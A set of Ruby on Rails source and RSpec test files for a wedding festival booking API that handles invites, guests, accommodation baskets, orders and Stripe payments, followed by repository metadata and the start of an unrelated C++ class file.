<file_sep>class CreateOrder < Marmite::Services::CreateEndpoint
before_validation :set_invite
after_create :create_order_items
after_create :set_order_total_price
after_create :transition_basket
after_create :transition_order
private
alias order resource
delegate :basket, to: :order
def create_order_items
basket.basket_items.each do |basket_item|
product = basket_item.product
order.order_items.create!(
product: product,
sale_price: product.price,
quantity: basket_item.quantity,
total_price: basket_item.quantity * product.price
)
end
end
def set_order_total_price
order.update(total_price: order.order_items.map(&:total_price).reduce(:+))
end
def set_invite
return unless order.basket.present?
order.invite = order.basket.invite
end
def transition_basket
basket.state_machine.transition_to!(:purchased)
end
def transition_order
return unless order.stripe_token.present?
order.state_machine.transition_to!(:payment_received)
end
end
<file_sep>class OrderItem < ActiveRecord::Base
belongs_to :order
belongs_to :product, polymorphic: true
validates :order, :product, presence: true
validates :product_id, uniqueness: {
scope: [:order, :product_type, :product_id],
message: 'You already have a BasketItem for this Product in your Basket'
}
validates :quantity, numericality: { greater_than_or_equal_to: 0 }
monetize :sale_price_pence, numericality: { greater_than_or_equal_to: 0 }
monetize :total_price_pence, numericality: { greater_than_or_equal_to: 0 }
end
<file_sep>class GuestSerializer < ActiveModel::Serializer
attributes :id, :attendance, :attendance_restriction, :diet, :name
belongs_to :invite
end
<file_sep>Rails.application.routes.draw do
use_doorkeeper do
skip_controllers :applications, :authorized_applications
end
namespace :api do
resources :accommodations, only: %i(index)
resources :basket_items, only: %i(create show update)
resources :baskets, only: %i(show)
resources :guests, only: %i(index show update)
resources :invites, only: %i(index update)
resources :orders, only: %i(create show)
end
end
<file_sep>module Concerns
module CurrentBasket
extend ActiveSupport::Concern
included do
def current_basket
@current_basket ||= begin
return unless current_invite
BasketQuery.new.current_basket(invite: current_invite)
end
end
helper_method :current_basket
end
end
end
<file_sep>source 'https://rubygems.org'
ruby '2.3.0'
gem 'rails', '4.2.4'
gem 'rails-api'
gem 'pg'
gem 'active_model_serializers', '~> 0.10.0.rc4'
gem 'doorkeeper', '~> 3.1'
gem 'figaro'
gem 'marmite', github: 'nickpellant/marmite'
gem 'money-rails', '1.6'
gem 'pundit', '~> 1.1'
gem 'rack-cors', require: 'rack/cors'
gem 'statesman', '~> 2.0'
gem 'stripe', '~> 1.31'
group :development, :test do
gem 'rubocop', require: false, github: 'bbatsov/rubocop'
gem 'rspec-rails', '~> 3.3'
end
group :test do
gem 'factory_girl_rails'
gem 'faker'
gem 'simplecov', require: false
gem 'shoulda-matchers'
end
<file_sep>class BasketSerializer < ActiveModel::Serializer
attributes :id
belongs_to :invite
has_many :basket_items
end
<file_sep>RSpec.shared_context 'setup_doorkeeper_access_token' do
let(:doorkeeper_access_token) do
FactoryGirl.create(
:doorkeeper_access_token, resource_owner_id: doorkeeper_invite.id
)
end
let(:current_invite) { FactoryGirl.create(:invite) }
let(:doorkeeper_invite) { current_invite }
before(:example) do
params&.merge!(access_token: doorkeeper_access_token.token)
end
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Show Basket', type: :request do
subject(:show_basket) do
get api_basket_url(id: basket_id), params
end
let(:params) { {} }
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
context 'when Basket exists' do
let!(:basket) { FactoryGirl.create(:basket, :with_basket_items) }
let(:basket_id) { basket.id }
let(:basket_json) do
ActiveModel::SerializableResource.new(
basket, include: :basket_items
).to_json
end
before(:example) { show_basket }
it { expect(response.body).to eql(basket_json) }
it { expect(response).to have_http_status(:ok) }
end
context 'when Basket not found' do
let(:basket_id) { 1 }
let(:basket_json) do
{
errors: [
{
title: I18n.translate('error_codes.show_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { show_basket }
it { expect(response.body).to eql(basket_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let!(:basket) { FactoryGirl.create(:basket) }
let(:basket_id) { basket.id }
let(:request_method) { :get }
let(:request_url) { api_basket_url(id: basket_id) }
end
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Create BasketItem', type: :request do
subject(:create_basket_item) { post api_basket_items_url, params }
let(:create_attributes) do
FactoryGirl.attributes_for(:basket_item).slice(*%i(quantity))
end
let(:product) { FactoryGirl.create(:accommodation) }
let(:params) do
{
data: {
type: 'basket_items',
attributes: create_attributes,
relationships: {
product: {
data: {
id: product.id,
type: 'accommodations'
}
}
}
}
}
end
let(:created_basket_item) { BasketItem.last }
let(:basket_item_json) do
ActiveModel::SerializableResource.new(created_basket_item).to_json
end
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
before(:example) { create_basket_item }
context 'when params pass validation' do
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:created) }
it { expect(created_basket_item).to have_attributes(create_attributes) }
it { expect(created_basket_item.product).to eql(product) }
end
context 'when params fail validation' do
let(:basket_item_json) do
{
errors: [
{
title: I18n.translate(
'error_codes.create_validation_failed.message'
),
status: 'conflict',
details: {
product: ['can\'t be blank'],
quantity: ['is not a number']
}
}
]
}.to_json
end
let(:create_attributes) do
{ quantity: 'invalid' }
end
let(:params) do
{
data: {
type: 'basket_items',
attributes: create_attributes
}
}
end
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:conflict) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let(:request_method) { :post }
let(:request_url) { api_basket_items_url }
let(:request_params) { params }
end
end
<file_sep>FactoryGirl.define do
factory :order do
basket
invite
transient do
order_item_count 1
end
trait(:with_stripe_token) do
stripe_token 'tok_<PASSWORD>'
end
trait(:with_order_items) do
after(:create) do |order, evaluator|
order_items = create_list(
:order_item, evaluator.order_item_count, order: order
)
order.order_items << order_items
end
end
end
end
<file_sep>FactoryGirl.define do
factory :order_item do
order
product { FactoryGirl.create(:accommodation) }
quantity 1
sale_price 100
end
end
<file_sep>class Guest < ActiveRecord::Base
ATTENDANCE_OPTIONS = %w(not_attending weekend wedding evening)
DIET_OPTIONS = %w(non-vegetarian vegetarian vegan nut_allergy gluten-free)
validates :attendance,
inclusion: { in: ATTENDANCE_OPTIONS, allow_blank: true }
validates :attendance_restriction,
inclusion: { in: ATTENDANCE_OPTIONS, allow_blank: true }
validates :diet, inclusion: { in: DIET_OPTIONS, allow_blank: true }
validates :invite, :name, presence: true
validates_with MatchesAttendanceRestrictionValidator
belongs_to :invite
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Create Order', type: :request do
subject(:create_order) { post api_orders_url, params }
let(:create_attributes) do
FactoryGirl.attributes_for(:order).slice(*%i(slice_token))
end
let(:basket) { FactoryGirl.create(:basket, :with_basket_items) }
let(:params) do
{
data: {
type: 'orders',
attributes: create_attributes,
relationships: {
basket: {
data: {
id: basket.id,
type: 'baskets'
}
}
}
}
}
end
let(:created_order) { Order.last }
let(:order_json) do
ActiveModel::SerializableResource.new(created_order).to_json
end
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
before(:example) { create_order }
context 'when params pass validation' do
it { expect(response.body).to eql(order_json) }
it { expect(response).to have_http_status(:created) }
it { expect(created_order).to have_attributes(create_attributes) }
it { expect(created_order.basket).to eql(basket) }
end
context 'when params fail validation' do
let(:order_json) do
{
errors: [
{
title: I18n.translate(
'error_codes.create_validation_failed.message'
),
status: 'conflict',
details: {
basket: ['can\'t be blank'],
invite: ['can\'t be blank']
}
}
]
}.to_json
end
let(:params) do
{
data: {
type: 'orders',
attributes: {}
}
}
end
it { expect(response.body).to eql(order_json) }
it { expect(response).to have_http_status(:conflict) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let(:request_method) { :post }
let(:request_url) { api_orders_url }
let(:request_params) { params }
end
end
<file_sep>require 'rails_helper'
require 'support/shoulda_matchers'
RSpec.describe Guest, type: :model do
it { is_expected.to belong_to(:invite) }
it { is_expected.to validate_presence_of(:invite) }
it { is_expected.to validate_presence_of(:name) }
it do
is_expected.to(
validate_inclusion_of(:attendance).in_array(Guest::ATTENDANCE_OPTIONS)
)
end
it do
is_expected.to(
validate_inclusion_of(:diet).in_array(Guest::DIET_OPTIONS)
)
end
it { is_expected.to belong_to(:invite) }
describe '#validates_with MatchesAttendanceRestrictionValidator' do
context 'when an evening restriction applies' do
context 'when choosing an attendance that breaches the restriction' do
let(:guest) do
FactoryGirl.build(:guest, :weekend_attendance, :evening_restriction)
end
it 'adds an validation error to attendance' do
expect(guest.valid?).to eq(false)
expect(guest.errors[:attendance]).to be_present
end
end
context 'when choosing an attendance that matches the restriction' do
let(:guest) do
FactoryGirl.build(:guest, :evening_attendance, :evening_restriction)
end
it 'does not add a validation error to attendance' do
expect(guest.valid?).to eq(true)
end
end
context 'when choosing not to attend' do
let(:guest) do
FactoryGirl.build(:guest, :not_attending, :evening_restriction)
end
it 'does not add a validation error to attendance' do
expect(guest.valid?).to eq(true)
end
end
context 'when attendance is still blank' do
let(:guest) do
FactoryGirl.build(:guest, :evening_restriction)
end
it 'does not add a validation error to attendance' do
expect(guest.valid?).to eq(true)
end
end
end
context 'when no restriction applies' do
context 'when attendance is set' do
let(:guest) { FactoryGirl.build(:guest, :weekend_attendance) }
it 'does not add a validation error to attendance' do
expect(guest.valid?).to eq(true)
end
end
context 'when attendance is still blank' do
let(:guest) do
FactoryGirl.build(:guest)
end
it 'does not add a validation error to attendance' do
expect(guest.valid?).to eq(true)
end
end
end
end
end
<file_sep>class InvitePolicy
class Scope
attr_reader :invite, :scope
def initialize(invite, scope)
@invite = invite
@scope = scope
end
def resolve
return scope.none unless invite
scope.where(invite_code: invite.invite_code)
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe Accommodation, type: :model do
it { is_expected.to have_many(:basket_items) }
it do
is_expected.to(
validate_numericality_of(:initial_availability)
.allow_nil
.is_greater_than_or_equal_to(0)
)
end
it { is_expected.to validate_presence_of(:name) }
it { is_expected.to validate_uniqueness_of(:name).case_insensitive }
it { is_expected.to validate_numericality_of(:sleeps).allow_nil }
it { is_expected.to monetize(:price) }
end
<file_sep>FROM ruby:2.3.0
MAINTAINER <EMAIL>
RUN apt-get update -qq && apt-get install -y \
build-essential \
libpq-dev \
locales
RUN locale-gen en_US.UTF-8
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8
COPY Gemfile* /tmp/
WORKDIR /tmp
RUN bundle install
ENV APP_HOME /wedfest_api
RUN mkdir $APP_HOME
WORKDIR $APP_HOME
ADD . $APP_HOME
CMD ["bundle", "exec", "rails", "server", "-p", "3000", "-b", "0.0.0.0"]
<file_sep>class BasketItemSerializer < ActiveModel::Serializer
attributes :id, :quantity
belongs_to :basket
belongs_to :product
end
<file_sep>class AccommodationSerializer < ActiveModel::Serializer
attributes :id, :initial_availability, :name, :price_pence, :sleeps,
:description
end
<file_sep>require 'csv'
class ImportInvitesCsv
def initialize(csv_content:)
@csv_content = csv_content
end
def call
Invite.transaction do
csv_hash.each do |row|
invite_params = {
name: row[:invite_name],
invite_code: SecureRandom.hex(2).upcase
}
invite = Invite.create!(invite_params)
create_guests!(invite: invite, row: row)
end
end
end
private
attr_reader :csv_content
def create_guests!(invite:, row:)
guest_names(row: row).each do |name|
invite.guests.create!(
name: name, attendance_restriction: row[:attendance_restriction]
)
end
end
def csv
CSV::Converters[:blank_to_nil] = lambda do |field|
field && field.empty? ? nil : field
end
CSV.new(
csv_content, headers: true, header_converters: :symbol,
converters: [:all, :blank_to_nil]
)
end
def csv_hash
csv.to_a.map(&:to_hash)
end
def guest_names(row:)
row[:guest_names].split(',').map(&:strip)
end
end
<file_sep>Doorkeeper.configure do
orm :active_record
resource_owner_from_credentials do
invite = Invite.find_by(invite_code: params[:password])
return unless invite
invite.update(email_address: params[:username])
invite
end
end
Doorkeeper.configuration.token_grant_types << 'password'
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Index Invites', type: :request do
subject(:index_invites) { get api_invites_url, params }
let(:params) { {} }
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
before(:example) { index_invites }
let(:invite_json) do
ActiveModel::SerializableResource.new(
[current_invite],
include: [:guests, { current_basket: :basket_items }],
scope: current_invite
).to_json
end
it { expect(response.body).to eql(invite_json) }
it { expect(response).to have_http_status(:ok) }
end
it_behaves_like 'it is secured by doorkeeper' do
let(:request_method) { :get }
let(:request_url) { api_invites_url }
end
end
<file_sep>FactoryGirl.define do
factory :guest do
invite
name { Faker::Name.name }
trait :non_vegetarian do
diet 'non-vegetarian'
end
trait :vegetarian do
diet 'vegetarian'
end
trait :vegan do
diet 'vegan'
end
trait :nut_allergy do
diet 'nut_allergy'
end
trait :gluten_free do
diet 'gluten-free'
end
trait :weekend_attendance do
attendance 'weekend'
end
trait :wedding_attendance do
attendance 'wedding'
end
trait :evening_attendance do
attendance 'evening'
end
trait :not_attending do
attendance 'not_attending'
end
trait :evening_restriction do
attendance_restriction 'evening'
end
end
end
<file_sep>class MatchesAttendanceRestrictionValidator < ActiveModel::Validator
def validate(record)
@record = record
return if attendance_restriction.blank? || attendance.blank?
return if valid?
record.errors.add(:attendance, :breaches_attendance_restriction)
end
private
attr_reader :record
delegate :attendance, :attendance_restriction, to: :record
def valid?
attendance == attendance_restriction || attendance == 'not_attending'
end
end
<file_sep>class BasketStateMachine
include Statesman::Machine
state :active, initial: true
state :purchased
state :failed
transition from: :active, to: %i(purchased failed)
end
<file_sep>require 'rails_helper'
RSpec.describe OrderItem, type: :model do
it { is_expected.to belong_to(:order) }
it { is_expected.to belong_to(:product) }
it { is_expected.to validate_presence_of(:product) }
it { is_expected.to monetize(:sale_price) }
it { is_expected.to monetize(:total_price) }
it do
is_expected.to(
validate_numericality_of(:quantity).is_greater_than_or_equal_to(0)
)
end
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_stripe_mock'
RSpec.describe Order, type: :model do
it { is_expected.to belong_to(:basket) }
it { is_expected.to belong_to(:invite) }
it { is_expected.to have_many(:order_items) }
it { is_expected.to have_many(:order_charges) }
it { is_expected.to validate_presence_of(:basket) }
it { is_expected.to validate_presence_of(:invite) }
it { is_expected.to monetize(:total_price) }
describe 'guards' do
include_context 'setup_stripe_mock'
subject(:order) { FactoryGirl.create(:order, :with_stripe_token) }
context 'when stripe_token is set' do
it 'can transition from state ordered to state payment_received' do
expect do
order.state_machine.transition_to!(:payment_received)
end.to_not raise_error
end
end
context 'when stripe_token is not set' do
subject(:order) { FactoryGirl.create(:order) }
it 'cannot transition from state ordered to state payment_received' do
expect do
order.state_machine.transition_to!(:payment_received)
end.to raise_error(Statesman::GuardFailedError)
end
end
end
end
<file_sep>class IndexInvites < Marmite::Services::IndexEndpoint
private
delegate :current_invite, to: :controller
def resource_scope
InvitePolicy::Scope.new(current_invite, Invite).resolve
end
end
<file_sep>Rails.configuration.stripe = {
publishable_key: Figaro.env.stripe_publishable_key,
secret_key: Figaro.env.stripe_secret_key
}
Stripe.api_key = Rails.configuration.stripe[:secret_key]
<file_sep>require 'rails_helper'
RSpec.describe 'Show Order', type: :request do
subject(:show_order) { get api_order_url(id: order_id), params }
let(:params) { {} }
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
context 'when Order exist' do
let!(:order) { FactoryGirl.create(:order) }
let(:order_id) { order.id }
let(:order_json) do
ActiveModel::SerializableResource.new(order).to_json
end
before(:example) { show_order }
it { expect(response.body).to eql(order_json) }
it { expect(response).to have_http_status(:ok) }
end
context 'when Order not found' do
let(:order_id) { 1 }
let(:order_json) do
{
errors: [
{
title: I18n.translate('error_codes.show_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { show_order }
it { expect(response.body).to eql(order_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let!(:order) { FactoryGirl.create(:order) }
let(:order_id) { order.id }
let(:request_method) { :get }
let(:request_url) { api_order_url(id: order_id) }
end
end
<file_sep>module Api
class BasketItemsController < ApplicationController
include Marmite::Controller
include Concerns::AuthorizeInvite
include Concerns::JsonApiParams
create_endpoint(service: CreateBasketItem)
show_endpoint
update_endpoint
private
def create_params
attribute_params(:quantity)
.merge(relationship_params(product: { data: [:id, :type] }))
end
def update_params
attribute_params(:quantity)
end
def show_params
params.permit(:id)
end
end
end
<file_sep>module Concerns
module AuthorizeInvite
extend ActiveSupport::Concern
included do
before_action :doorkeeper_authorize!
end
end
end
<file_sep>class OrderStateMachine
include Statesman::Machine
state :ordered, initial: true
state :payment_received
transition from: :ordered, to: :payment_received
guard_transition(to: :payment_received) do |order|
order.stripe_token.present?
end
before_transition(to: :payment_received) do |order, _transition|
ChargeOrder.new(order: order).call
end
end
<file_sep>class Accommodation < ActiveRecord::Base
has_many :basket_items, as: :product
validates :initial_availability, numericality: {
greater_than_or_equal_to: 0,
allow_nil: true
}
validates :name, presence: true, uniqueness: { case_sensitive: false }
validates :sleeps, numericality: { allow_nil: true }
monetize :price_pence, numericality: { greater_than_or_equal_to: 0 }
end
<file_sep>require 'rails_helper'
RSpec.describe InviteSerializer, type: :serializer do
subject(:invite) do
FactoryGirl.create(
:invite, :with_baskets, :with_cabaret_info, :with_guests, :with_orders
)
end
let(:baskets) { invite.baskets }
let(:current_basket) { baskets.first }
let(:guests) { invite.guests }
let(:orders) { invite.orders }
let(:current_basket_relationship_data) do
{ id: current_basket.id.to_s, type: 'baskets' }
end
let(:guests_relationship_data) do
guests.map { |guest| { id: guest.id.to_s, type: 'guests' } }
end
let(:orders_relationship_data) do
orders.map { |order| { id: order.id.to_s, type: 'orders' } }
end
let(:actual_json) { ActiveModel::SerializableResource.new(invite).to_json }
let(:expected_json) do
{
data: {
id: invite.id.to_s,
type: 'invites',
attributes: expected_attributes,
relationships: {
current_basket: {
data: current_basket_relationship_data
},
guests: {
data: guests_relationship_data
},
orders: {
data: orders_relationship_data
}
}
}
}.to_json
end
context 'when Invite to serialize is the current_invite' do
let(:actual_json) do
ActiveModel::SerializableResource.new(invite, scope: invite).to_json
end
let(:expected_attributes) do
{
cabaret_info: invite.cabaret_info,
email_address: invite.email_address,
invite_code: invite.invite_code,
name: invite.name
}
end
it { expect(actual_json).to eql(expected_json) }
end
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Update Invite', type: :request do
subject(:update_invite) { patch api_invite_url(id: invite_id), params }
let(:update_attributes) do
FactoryGirl.attributes_for(:invite).slice(*%i(cabaret_info))
end
let(:params) do
{
data: {
id: invite_id.to_s,
type: 'invites',
attributes: update_attributes
}
}
end
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
context 'when Invite exist' do
let(:invite_id) { current_invite.id }
let(:updated_invite) { current_invite.reload }
let(:invite_json) do
ActiveModel::SerializableResource.new(
updated_invite, scope: current_invite
).to_json
end
before(:example) { update_invite }
context 'when params pass validation' do
it { expect(response.body).to eql(invite_json) }
it { expect(response).to have_http_status(:ok) }
it { expect(updated_invite).to have_attributes(update_attributes) }
end
end
context 'when Invite not found' do
let(:invite_id) { 1 }
let(:invite_json) do
{
errors: [
{
title: I18n.translate('error_codes.update_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { update_invite }
it { expect(response.body).to eql(invite_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let(:request_method) { :put }
let(:request_params) { params }
let(:invite_id) { 1 }
let(:request_url) { api_invite_url(id: invite_id) }
end
end
<file_sep>require 'rails_helper'
RSpec.describe 'Show Guest', type: :request do
subject(:show_guest) { get api_guest_url(id: guest_id) }
context 'when Guest exist' do
let!(:guest) { FactoryGirl.create(:guest) }
let(:guest_id) { guest.id }
let(:guest_json) do
ActiveModel::SerializableResource.new(guest).to_json
end
before(:example) { show_guest }
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:ok) }
end
context 'when Guest not found' do
let(:guest_id) { 1 }
let(:guest_json) do
{
errors: [
{
title: I18n.translate('error_codes.show_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { show_guest }
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
<file_sep>SimpleCov.start 'rails' do
add_group 'Serializers', 'app/serializers'
end
<file_sep>class OrderSerializer < ActiveModel::Serializer
attributes :id
belongs_to :invite
has_many :order_items
end
<file_sep>require 'rails_helper'
RSpec.describe ImportInvitesCsv, type: :service do
subject(:import_invites_csv) { described_class.new(csv_content: csv_content) }
let(:csv_content) do
File.open(
Rails.root.join(
'spec/support/fixtures/csv_imports/invites/valid_csv.csv'
)
).read
end
describe '#call' do
subject(:call) { import_invites_csv.call }
let(:first_created_invite) { Invite.find_by(name: '<NAME>') }
let(:second_created_invite) { Invite.find_by(name: 'Sam & Sarah') }
let(:third_created_invite) { Invite.find_by(name: '<NAME> & Jack') }
it 'creates the Invites' do
expect { call }.to change { Invite.count }.from(0).to(3)
expect(first_created_invite.invite_code).to_not be_empty
expect(first_created_invite.guests.pluck(:name)).to eql(['Joe'])
expect(first_created_invite.guests.pluck(:attendance_restriction)).to(
eql([nil])
)
expect(second_created_invite.invite_code).to_not be_empty
expect(second_created_invite.guests.pluck(:name)).to eql(%w(<NAME>))
expect(second_created_invite.guests.pluck(:attendance_restriction)).to(
eql(%w(evening evening))
)
expect(third_created_invite.invite_code).to_not be_empty
expect(third_created_invite.guests.pluck(:name)).to(
eql(%w(<NAME> Jack))
)
expect(third_created_invite.guests.pluck(:attendance_restriction)).to(
eql([nil, nil, nil])
)
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe BasketItemSerializer, type: :serializer do
subject(:basket_item) do
FactoryGirl.build_stubbed(:basket_item)
end
let(:accommodation_product) { basket_item.product }
let(:actual_json) do
ActiveModel::SerializableResource.new(basket_item).to_json
end
let(:expected_json) do
{
data: {
id: basket_item.id.to_s,
type: 'basket_items',
attributes: {
quantity: basket_item.quantity
},
relationships: {
basket: {
data: {
id: basket_item.basket.id.to_s,
type: 'baskets'
}
},
product: {
data: {
id: accommodation_product.id.to_s,
type: 'accommodations'
}
}
}
}
}.to_json
end
it { expect(actual_json).to eql(expected_json) }
end
<file_sep>class BasketQuery < Marmite::Queries::ResourceQuery
def initialize(relation: Basket.all)
super
end
def current_basket(invite:)
@current_basket ||= begin
invite.baskets.first || Basket.create(invite: invite)
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe 'Index Guests', type: :request do
subject(:index_guests) { get api_guests_url }
context 'when Guests exist' do
let!(:guest) { FactoryGirl.create(:guest) }
let(:guest_json) do
ActiveModel::SerializableResource.new([guest]).to_json
end
before(:example) { index_guests }
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:ok) }
end
context 'when no Guests exist' do
let(:guest_json) do
ActiveModel::SerializableResource.new([]).to_json
end
before(:example) { index_guests }
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:ok) }
end
end
<file_sep>class Basket < ActiveRecord::Base
belongs_to :invite
has_many :basket_items
has_many :basket_transitions, autosave: false
validates :invite, presence: true
def state_machine
@state_machine ||= BasketStateMachine.new(
self, transition_class: BasketTransition
)
end
end
<file_sep>module Api
class OrdersController < ApplicationController
include Marmite::Controller
include Concerns::AuthorizeInvite
include Concerns::JsonApiParams
create_endpoint(service: CreateOrder)
show_endpoint
private
def create_params
attribute_params(:stripe_token)
.merge(relationship_params(basket: { data: :id }))
end
end
end
<file_sep>class AddCabaretInfoToInvites < ActiveRecord::Migration
def change
add_column :invites, :cabaret_info, :text
end
end
<file_sep>RSpec.shared_examples 'it is secured by doorkeeper' do
let(:request_method) {}
let(:request_url) {}
let(:request_params) { {} }
let(:perform_request) { send(request_method, request_url, request_params) }
context 'when request is not authorized' do
before(:example) { perform_request }
it { expect(response).to have_http_status(:unauthorized) }
end
end
<file_sep>module Concerns
module ExceptionHandler
include Marmite::Mixins::ExceptionRenderer
extend ActiveSupport::Concern
included do
rescue_from ActionController::ParameterMissing do |exception|
render_json_error(
code: :parameter_missing,
status: :bad_request,
options: { details: exception.message }
)
end
end
end
end
<file_sep>module Concerns
module JsonApiParams
extend ActiveSupport::Concern
included do
private
def attribute_params(filters)
permitted_params = params.dig(:data, :attributes)&.permit(filters)
return {} unless permitted_params
permitted_params
end
def relationship_params(filters)
permitted_params = params.dig(:data, :relationships)&.permit(filters)
return {} unless permitted_params
permitted_params.map do |name, relationship|
params = { "#{name}_id": relationship[:data][:id] }
if relationship[:data][:type]
params["#{name}_type"] =
relationship[:data][:type]&.singularize&.titlecase
end
params
end.reduce(&:merge)
end
end
end
end
<file_sep>FactoryGirl.define do
factory :invite do
name { "#{Faker::Name.first_name} & #{Faker::Name.first_name}" }
sequence(:invite_code) { |n| n }
email_address { Faker::Internet.safe_email }
transient do
basket_count 1
guest_count 1
order_count 1
end
trait(:with_baskets) do
after(:create) do |invite, evaluator|
baskets = create_list(:basket, evaluator.basket_count, invite: invite)
invite.baskets << baskets
end
end
trait(:with_cabaret_info) do
cabaret_info { Faker::Lorem.sentence }
end
trait(:with_guests) do
after(:create) do |invite, evaluator|
guests = create_list(:guest, evaluator.guest_count, invite: invite)
invite.guests << guests
end
end
trait(:with_orders) do
after(:create) do |invite, evaluator|
orders = create_list(:order, evaluator.order_count, invite: invite)
invite.orders << orders
end
end
end
end
<file_sep>class Invite < ActiveRecord::Base
validates :email_address, format: { with: /@/, allow_nil: true }
validates :invite_code, presence: true, uniqueness: { case_sensitive: false }
validates :name, presence: true
has_many :baskets
has_many :guests
has_many :orders
end
<file_sep>class MoveEmailAddressFromGuestsToInvites < ActiveRecord::Migration
def change
remove_column :guests, :email_address
add_column :invites, :email_address, :string
end
end
<file_sep>class ApplicationController < ActionController::API
include Concerns::CurrentBasket
include Concerns::CurrentInvite
include Concerns::ExceptionHandler
serialization_scope :current_invite
end
<file_sep>WedfestApi::Application.config.secret_key_base = Figaro.env.secret_key_base
<file_sep>module Api
class AccommodationsController < ApplicationController
include Marmite::Controller
index_endpoint
private
def index_params
{}
end
end
end
<file_sep>module Api
class InvitesController < ApplicationController
include Marmite::Controller
include Concerns::AuthorizeInvite
include Concerns::JsonApiParams
index_endpoint(service: IndexInvites)
update_endpoint
private
def index_includes
[:guests, { current_basket: :basket_items }]
end
def update_params
attribute_params(:cabaret_info)
end
end
end
<file_sep>FactoryGirl.define do
factory :accommodation do
name { Faker::Commerce.product_name }
description { Faker::Lorem.sentence }
trait :budget_bell_tent do
initial_availability 10
name 'Budget Bell Tent'
price 106.00
sleeps 2
end
trait :luxury_bell_tent do
name 'Luxury Bell Tent'
price 160.00
sleeps 2
end
trait :group_bell_tent do
name 'Group Bell Tent'
price 160.00
sleeps 4
end
trait :tent_share do
name 'Tent Share'
price 33.50
sleeps 1
end
trait :byo do
name 'Bring Your Own'
price 0.00
sleeps 1
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe AccommodationSerializer, type: :serializer do
subject(:accommodation) { FactoryGirl.build_stubbed(:accommodation) }
let(:actual_json) do
ActiveModel::SerializableResource.new(accommodation).to_json
end
let(:expected_json) do
{
data: {
id: accommodation.id.to_s,
type: 'accommodations',
attributes: {
initial_availability: accommodation.initial_availability,
name: accommodation.name,
price_pence: accommodation.price_pence,
sleeps: accommodation.sleeps,
description: accommodation.description
}
}
}.to_json
end
it { expect(actual_json).to eql(expected_json) }
end
<file_sep>class AddAttendanceRestrictionToGuests < ActiveRecord::Migration
def change
add_column :guests, :attendance_restriction, :string
end
end
<file_sep>require 'rails_helper'
RSpec.describe OrderCharge, type: :model do
it { is_expected.to belong_to(:order) }
it { is_expected.to validate_presence_of(:order) }
it { is_expected.to validate_presence_of(:stripe_charge_id) }
end
<file_sep>class OrderItemSerializer < ActiveModel::Serializer
attributes :id, :quantity, :sale_price_pence
belongs_to :order
belongs_to :product
end
<file_sep>require 'rails_helper'
RSpec.describe GuestSerializer, type: :serializer do
subject(:guest) do
FactoryGirl.build_stubbed(:guest, :weekend_attendance, :vegetarian)
end
let(:invite) { guest.invite }
let(:actual_json) { ActiveModel::SerializableResource.new(guest).to_json }
let(:expected_json) do
{
data: {
id: guest.id.to_s,
type: 'guests',
attributes: {
attendance: guest.attendance,
attendance_restriction: guest.attendance_restriction,
diet: guest.diet,
name: guest.name
},
relationships: {
invite: {
data: {
id: invite.id.to_s,
type: 'invites'
}
}
}
}
}.to_json
end
it { expect(actual_json).to eql(expected_json) }
end
<file_sep>require 'rails_helper'
RSpec.describe BasketItem, type: :model do
describe 'validations' do
subject(:basket_item) { FactoryGirl.build(:basket_item) }
it { is_expected.to belong_to(:basket) }
it { is_expected.to belong_to(:product) }
it { is_expected.to validate_presence_of(:basket) }
it { is_expected.to validate_presence_of(:product) }
it do
is_expected.to(
validate_numericality_of(:quantity).is_greater_than_or_equal_to(0)
)
end
end
end
| c86764c75ba54f9da5527c85a860244279234eeb | [
"Ruby",
"Dockerfile"
] | 97 | Ruby | nickpellant/wedfest | d64426fe8f24e04b86128896e95d536c7cf9f747 | b7ebff7b390161c9be1c1a27762d3e6c79ef6726 |
refs/heads/master | <repo_name>Patrickdevaney01/gmit-course-cpp<file_sep>/Lab-Program-FootballClub/Lab 6/football_club.cpp
#include"football_club.h"
//constructor to set all variables blank
FootballClub::FootballClub(){
this-> clubname = (" ");
this-> district = (" ");
this-> stripColour = (" ");
}
//Print funtion
void FootballClub::printClubInfo(){
